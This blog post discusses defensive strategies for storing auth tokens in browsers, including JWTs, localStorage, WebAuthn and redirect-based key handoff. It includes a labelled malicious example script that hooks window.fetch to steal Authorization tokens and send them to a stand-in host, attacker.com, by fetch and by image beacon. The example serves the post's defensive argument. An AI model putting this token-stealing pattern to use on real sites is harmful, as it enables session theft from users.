Securing Tokens (JWTs, etc.) in Browsers (trying to be novel)

Josh Urbane
6 min readMar 29, 2022

--

One of the plaguing questions for protecting against XSS, CSFR, rogue extensions and other vectors is where to store the damn token. Secondly, how secure is the data we are storing locally? While I would love a simple keychain standard implemented, we’ve got to work with the tools we’ve got: Cookies, localStorage, sessionStorage, IndexedDB, WebAuthn, SubtleCrypto, iFrames all housed within Cross-Origin restrictions.

I think there are some possibly good mixing of strategies that can yield some workflows that can help minimize the attack surface. I think the obvious goal is to have the token only exist in memory inside a local function scope.

Goals

  • Prevent global JS access to auth token or from making authenticated responses.
  • Require any accessing of the auth token to require user input.
  • Prevent poisoning of network APIs to capture requests.
  • Allow for values in local storage to be stored encrypted.
  • Explore other constraints to improve security.

Components

Cookies

  • With HttpOnly and SameSite=strict mitigates some of the most blatant attacks.
  • Automatically included in requests that match the Set-Cookie constraints, so no protection against any script injection or reflection attacks.
  • Allows a server to easily store encrypted statelessly.

I’ve always had an aversion to cookies, primarily for their legacy of presenting several attack surfaces. I think a good solution might incorporate cookies to create a ‘two-key’ lock on requests.

Storage

  • Globally accessible via JS APIs, everything in plaintext.
  • Calls are synchronous, so heavily reliance can have a performance impact.
  • localStorage persists across browser sessions for the same origin while sessionStorage is bound to a session.

I highly favor sessionStorage for most use cases, primarily because it allows for users to have different logins active across different tabs. localStorage can act as a ‘remember me’ function to house general account info.

IndexedDB

  • Async key-value store.
  • Globally accessible via JS APIs, everything in plaintext.

I wouldn’t store tokens in it, but it’s good for storing local caches of data for offline use and performance. I would like to be able to encrypt the values and restrict access of the underlying data to the ‘proper’ application.

WebAuthn

  • A asymmetric key challenge-based auth standard for authenticating clients against servers.
  • Much is left up to browsers and UX isn’t always great.

I explored using this as a ‘keychain’ that required user approval and it almost works. In the spec the server challenge data is supposed to be random, but in theory you can input a static buffer and then use the resulting signature as the input for a KDF to create your AES key to decrypt the stored token. The issue is that part of the data includes an optional ‘sign counter’ that increments in most browsers that changes the signature every time, preventing this approach.

I don’t think the UX for WebAuthn is ‘there yet’ to the point where it is a good choice, but I’ll include it in one of the approaches.

SubtleCrypto

  • Nice high-level crypto API for browsers that supports all your basic functionality.

This will be an important piece of any approach as we want to make sure local values are encrypted and not accessible to global actors.

IFrames

  • Allows limited cross-origin functionality, the ability to create a ‘sandbox’.
  • Modern API has robust sandboxing options.
  • A long, unsettling history of exploits.

A old favorite, iframes can provide a separation between the origin that stores token information and our main app. We can minimize the attack surface by closing off what runs on that origin and how it interacts with hosted pages.

One issue is that communication between frames is ‘open’, malicious code can listen and interact with messages passed. We could create an encrypted ‘channel’ between a scoped function on the host page and the iframe, but wouldn’t be sure on performance.

A note on JWTs

There is a fair bit of debate over JWTs, especially as bearer tokens.

  • As it’s just serialized JSON + Signature, they can be big. For many requests they can end up being larger than the rest of the message combined.
  • The spec is too lax and allowed things like none as a verification algorithm, leading to lots of bad implementations.
  • It can leak user details outside of the auth workflows.
  • But… when used with ECDSA or RSA they are awesome.
  • Easy segregation between services with offline verification.
  • Allows clients to know expiration and verify identity information.

As far as the size goes, you can also use JWTs for identity tokens then use something smaller for access tokens. Or you can do my preferred approach and ditch JWTs for signed protobuf objects.

Also for revocation, I generally use a blacklist approach that can be filtered on claims. This works well as long as your default ‘logout’ uses the soft ‘client just forgets the token’. Services subscribe to the blacklist and then check the active filters which can revoke against any one or more of the token claims: a token ID for one off, user ID + issue date for a ‘logout everywhere’, key ID if a key is compromised or any other case that might occur. In my deployments this has worked very well with the expectation that actual revocations are rare.

Additionally, I almost always include a ‘client’ hash as a claim to verify IP address, User Agent and a couple other ‘static’ pieces of data. This requires a partial re-auth whenever the user changes networks or updates browsers, but I feel like that is a reasonable compromise.

Approach #1: Offline Redirect

User Flow for the Redirect Approach

This approach moves the encryption key to a separate origin (https://auth.example.com) and then requires the user to interact and ‘authorize’ the app. The auth page then redirects with the encryption key in the hash (doesn’t get sent to server) of the URL. The app then consumes the key and passes it onto the primary application function.

In the very first script element of the app document (and obviously with a lot of assumptions):

<html>
<head>
<script>
(function () {
// Assuming your app expects querystring encoded hash...
const params = new URLSearchParams(window.location.hash.substring(1))
// Get the key from the hash
const key = params.get('key')
// Remove the key from the params
params.delete('key')
// Capture the 'true' fetch function to use for API calls
const fetch = window.fetch
window.history.replaceState(null, '', window.location.pathname + '#' + params.toString())
import('/my-js-bundle.js')
.then(module => module.start({key, fetch}))
.catch(err => {
//handle error
})
})();
// location.hash no longer contains key
</script>
<script>
// I'm malicious code that got through
(() => {
const fetch = window.fetch
window.fetch = (...args) => {
const stolenToken = args[0]?.headers?.get('Authorization')
//send to attacker
fetch({
url: 'https://attacker.com',
mode: 'cors',
body: JSON.stringify({
stolenToken
})
})
//or a more subtle way
const img = document.createElement('img')
img.src = 'https://attacker.com?token=' + stolenToken
document.append(img)
return fetch(...args)
}
// :( why can't I steal this token?
})()
</script>

The main app can then use localStorage + SubtleCrypto to decrypt and then use the token in a clean fetch. You can use the key to also encrypt other data in storage and IndexedDB.

There are of course a lot more that can be done around this approach, but I think it’s bare bones enough to complicate some of the more obvious attacks. Several layers of additional protection can be explored and all the CSP and other restrictions should be added. https://auth.example.com is of course vulnerable as the key is stored in plaintext, but you can minimize the attack surface there by keeping the site barebones with no external dependencies.

Approach #2: Online Redirect

This is mostly a variation on the first approach, however the encryption key is either partially or completely stored on a server with a couple variations.

  • The server holds the key and the user authorizes it with a form post and then the server redirects with location: https://app.example.com#key=something . Probably not the best approach.
  • The client stores the local key in localStorage in an encrypted form and then requests the server for a key to decrypt it.
  • Variation on the previous one, however add WebAuthn to the mix to verify the user further.
  • Some other form of key exchange.

The downside of this approach is it is online, however I feel it is a better bet than leaving the plaintext key in localStorage

Conclusion

I want to explore other options further like exploring encrypted channels with iframes, incorporating cookies as a secondary key, signed applications and more. However, I think this is one avenue that I found interesting even if never implemented.

Let me know where some vectors of attack that I likely missed and any other thoughts.

You can read my other articles here on Medium or check me out on Twitter @JoshUrbane. Cheers!

--

--

Josh Urbane

Tech Entrepreneur, Software Architect, Coder. Write when I’m bored.